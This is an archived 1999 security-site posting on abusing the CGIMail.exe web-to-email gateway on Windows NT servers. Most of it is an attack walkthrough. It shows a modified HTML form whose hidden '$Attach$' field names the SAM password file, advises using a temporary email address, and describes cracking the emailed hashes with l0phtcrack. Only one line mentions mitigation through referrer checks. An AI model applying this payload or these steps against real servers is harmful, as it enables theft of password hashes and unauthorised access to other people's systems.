global security disclosure

cgimail-NT-hack.htm

cgimail-NT-hack.htm
Posted Aug 17, 1999

Hacking CGIMail.exe.

MD5 | d1806126f4946a149aa7826536fcd0be

cgimail-NT-hack.htm

Change Mirror Download
<HTML>
<HEAD>
<TITLE>CGIMail</TITLE>
</HEAD>
<BODY BGCOLOR="#ffffff">

<B><P ALIGN="CENTER">CGIMail.exe</P>
<P ALIGN="CENTER">&nbsp;</P>
</B><P>CGIMail.exe is a Web to e-mail gateway program written by Stalkerlabs for a Win32 platform, that is Windows NT or Windows 95. Basically, you fill in an on-line form and it is e-mailed off. The contents of the form contains the following :</P>
<P>&nbsp;</P>
<P><form action="/scripts/CGImail.exe" method="POST" NAME="TestForm"></P>
<P><input type=hidden name="$File$" value="/scripts/template.txt"></P>
<P><input type=hidden name="$Subject$" value="CGImail Example"></P>
<P><input type=hidden name="$LocationOK$" value="/ok.html"></P>
<P><input type=hidden name="$LocationKO$" value="/ko.html"></P>
<P><input type=hidden name="$To$" value="mnemonix@globalnet.co.uk"></P>
<P><input type=hidden name="$Optional$" value="mmmh, no!"></P>
<P>&nbsp;</P>
<P>There is also another "hidden" input type and this takes the following shape:</P>
<P>&nbsp;</P>
<P><input type=hidden name="$Attach$" value=""></P>
<P>&nbsp;</P>
<P>This allows you to attach a file to the e-mail….any file the IUSR_COMPUTERNAME account has access to. So if the NT server is poorly configured as far as security is concerned you could put in "c:\winnt\repair\sam._" as the input’s value:</P>
<P>&nbsp;</P>
<P><input type=hidden name="$Attach$" value="c:\winnt\repair\sam._"></P>
<P>&nbsp;</P>
<P>Note – Using %windir% won’t work – you need the full path. </P>
<P>&nbsp;</P>
<P>So here’s how the hack would go :</P>
<P>You go to their form page and view the source. Save this source to the desktop and make some editions to it, like put your e-mail address in (use a temporary one!) and put the $Attach$ entry in. Save these changes and then load the new page and click o
n send.</P>
<P>All things going well you should receive a compressed copy of their SAM which you can then get to work on, using l0phtcrack to glean the passwords. </P>
<P>&nbsp;</P>
<P>CGIMail <B><I>can</B></I> be made more secure: the cgimail.ini can be edited so that only certain referrers are accepted but only around 50% of the machines I’ve seen with this on have configured it so.</P>
<P>&nbsp;</P>
<P>You can find out more (no-hacking) info about this program from the vendor’s site:</P>
<P>&nbsp;</P>
<P><A HREF="http://www.stalkerlab.ch/SMailers/index.html">http://www.stalkerlab.ch/SMailers/index.html</A></P>
<P>&nbsp;</P>
</body>
</HTML>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close